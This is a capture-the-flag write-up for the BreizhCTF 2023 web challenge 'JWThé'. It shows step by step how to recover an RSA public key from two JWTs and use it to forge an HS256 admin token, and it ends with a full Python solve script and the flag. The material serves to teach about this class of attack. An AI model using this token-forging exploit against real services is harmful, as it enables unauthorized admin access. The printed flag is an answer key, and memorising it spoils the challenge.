BreizhCTF 2023 - JWThé
Challenge details
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| BreizhCTF 2023 | JWThé | Web | ??? | ??? |

I love tea; it’s a timeless communion between body and spirit! Find the shop’s recipe book and retrieve the flag.
Author: Zeecka
TL;DR
The user session mechanism relies on JWTs using an RSA signature (RS256). Specialized tools can be used to recover the RSA public key from 2 of these tokens. The public key can then be reused as an encryption secret with the HS256 algorithm.
Methodology
The site offers a shop for buying drinks.

Once the order is placed, we end up with a summary, associated with a session cookie in JWT format.

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJBbGV4IiwiZHJpbmsiOiIxIiwic2l6ZSI6IlMiLCJ0b3BwaW5ncyI6IiIsIm5vdGUiOiJTYW5zIGdsYVx1MDBlN29ucyIsInJvbGUiOiJjbGllbnQiLCJpYXQiOjE2NzU2MzUxMDl9.KPpTKnq1deuV2JTqAZDmezdDVMpohF18sqdDuUNCAsI9AcPcnRmfkClXdNxAIupPSfrciDQ2zhkBonY_geQ3eRlhEAQrdZ3UFVMG5z24JIg16pm-Z0wS---mWkLUtP98SUfv703eOiKZuUJt6mNVlf7Y2J5GDANjpLOEHepRrNI
Enumerating the pages with tools like dirsearch allows us to identify the administration endpoint used to list the recipes (the goal of the challenge), namely /recipes and its alias /recettes:
$ dirsearch -u "https://jwthe.ctf.bzh" -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 20115
Output: output.txt
Target: https://jwthe.ctf.bzh/
[00:07:33] Starting:
[00:07:47] 403 - 939B - /recipes
[00:07:56] 302 - 189B - /delete -> /
[00:09:12] 403 - 939B - /recettes
[00:09:29] 405 - 153B - /command
Task Completed

We can then attempt to alter the JWT in order to build an administration token. Decoding the token using the jwt.io site lets us learn more about the token’s attributes.

{
"alg": "RS256",
"typ": "JWT"
}
{
"firstname": "Alex",
"drink": "1",
"size": "S",
"toppings": "",
"note": "Sans glaçons",
"role": "client",
"iat": 1675635109
}
This is a token in RS256 format that notably has a “role” attribute. Using the various techniques mentioned in PayloadAllTheThings does not allow us to forge a valid token.
However, using the RS256 algorithm implies the use of an RSA key pair. In order to check the robustness of the signing keys, we can use the JWT-Key-Recovery tool, which is useful for recovering a public RSA key from 2 valid JWTs:
$ python recover.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJhbGV4IiwiZHJpbmsiOiIxIiwic2l6ZSI6IlMiLCJ0b3BwaW5ncyI6IiIsIm5vdGUiOiIiLCJyb2xlIjoiY2xpZW50IiwiaWF0IjoxNjc1NjM2MDM5fQ.g8bKgcqnvzbr2DPvp_eHAhf_HsIi4B-0VawXG4ygSCLmUNcNHduT4HEBVSWE79-T-qrv5i6tKd0de-v-x49wyYYSz-EKbohA61yat6LCcvpHkbr-VqXNyV2IsW06iuJ6mh2bHGNGwJ96w8rlIPFPQzNOd69xQld1TmfM8zpN7sc eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJhbGV4IiwiZHJpbmsiOiIxIiwic2l6ZSI6IlMiLCJ0b3BwaW5ncyI6IiIsIm5vdGUiOiIiLCJyb2xlIjoiY2xpZW50IiwiaWF0IjoxNjc1NjM2MDQxfQ.O1FVcAlpU9phb25DUy_eH2eIvv4jKc-z9GhXGsIGwXX2NTkyvSnJP_ykuDsOu5iMCMmUci29cl73OcZIjTj1OWPrQpDpgonl-19xKV_014QJlT6T9NyfsQpcF2XvazfchV1zRbogbq4KKgFDzXW3DBtxtLF4npz1IrYM0fdcgRE
Recovering public key for algorithm RS256...
Found public RSA key !
n=144643368579758080038799810762792907671669190448854065685922625409060150323780540701698604965270489699974486458103029530366874799597421586371557554188164149588180328577009220855527997708441471901092443236600336620000888420317481366636926577558199654501740076861372892971907237606321053359557829258478318221013
e=65537
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDN+p9a9oMyqRzkae8yLdJcEK0O
0WesH6JiMz+KDrpUwAoAM/KPDnxFnROJDSBHyHEmPVn5x8GqV5lQ9+6l97jdEEcP
o6wkshycM82fgcxOmvtAy4Uoxq/AeplYqplhcUTGVuo4ZldOLmN8ksGmzhWpsOdT
0bkYipHCn5sWZxd21QIDAQAB
-----END PUBLIC KEY-----
Here we recover the public RSA key in ASN1 PEM format, as well as in its integer form (n).
A common vulnerability lies in the support of several signing algorithms (usually one symmetric and one asymmetric algorithm):
token = jwt.decode(jeton_base64, secret, algorithms=["RS256", "HS256"])
Here, assuming that the RSA public key is used as the signature verification secret (which is usually the case), it is possible to forge a valid token using the HS256 algorithm. Indeed, with this symmetric algorithm, the verification public key is the same as the signing key (unlike asymmetric cryptography).
Generating a valid token can be done using the pyJwt tool, taking care to change the signing algorithm but not the key, keeping the same content structure and adapting the role of our session:
import jwt # pip install pyjwt
token = {
"firstname": "alex",
"drink": "1",
"size": "S",
"toppings": "",
"note": "",
"role": "admin", # on set le rôle admin ici
"iat": int(time.time())
}
RSA_PUBLIC = open("public.pem").read()
encoded_jwt = jwt.encode(token, RSA_PUBLIC, algorithm="HS256")
print(encoded_jwt)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdG5hbWUiOiJhbGV4IiwiZHJpbmsiOiIxIiwic2l6ZSI6IlMiLCJ0b3BwaW5ncyI6IiIsIm5vdGUiOiIiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2NzY1NjI3MDF9.zs71svw8ONgACFp2IwYn3hGAC-IXuMiR1FEkMx-Vy4w
This token can then be reinjected into our session to retrieve the flag on the recipe page (/recettes):

Here is a python solve script that solves the challenge. It relies notably on the tools mentioned earlier in the article.
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import requests
import jwt
import time
import subprocess
URL = "https://jwthe.ctf.bzh/"
s = requests.session()
data = {
"firstname": "alex",
"drink": "1",
"size": "S",
"toppings": "",
"note": ""
}
print(f"[+] Generate 2 JWTokens")
s.post(f"{URL}/command", json=data)
t1 = dict(s.cookies)["session"]
time.sleep(2)
s.post(f"{URL}/command", json=data)
t2 = dict(s.cookies)["session"]
print(t1)
print(t2)
print(f"[+] Recovering public key for algorithm RS256... (this may take some time)")
output = subprocess.check_output(f"python3 recover.py {t1} {t2}", shell=True).decode()
assert("Found public RSA key !" in output)
n = int(output.split("n=")[1].split("\n")[0])
public_key = output.split("-----BEGIN PUBLIC KEY-----")[1].split("-----END PUBLIC KEY-----")[0]
public_key = f"-----BEGIN PUBLIC KEY-----{public_key}-----END PUBLIC KEY-----"
with open("public.pem", "w") as f:
f.write(public_key)
print(public_key)
print(f"n = {n}")
print(f"[+] Signing new admin token with HS256 and public.pem")
token = {
"firstname": "alex",
"drink": "1",
"size": "S",
"toppings": "",
"note": "",
"role": "admin", # on set le rôle admin ici
"iat": int(time.time())
}
RSA_PUBLIC = open("public.pem").read()
encoded_jwt = jwt.encode(token, RSA_PUBLIC, algorithm="HS256")
print(f"[+] Query website with new token and get flag")
s.cookies.set("session", None) # https://stackoverflow.com/questions/25429754/how-to-modify-cookies-in-requests
s.cookies.set("session", encoded_jwt)
r = s.get(f"{URL}/recettes").text
flag = r.split("recettes: ")[1].split(".")[0]
print(f"[+] Flag is: {flag}")
assert(flag == r"BZHCTF{JWThé_à_la_menthe}")
Flag
BZHCTF{JWThé_à_la_menthe}
Author: Zeecka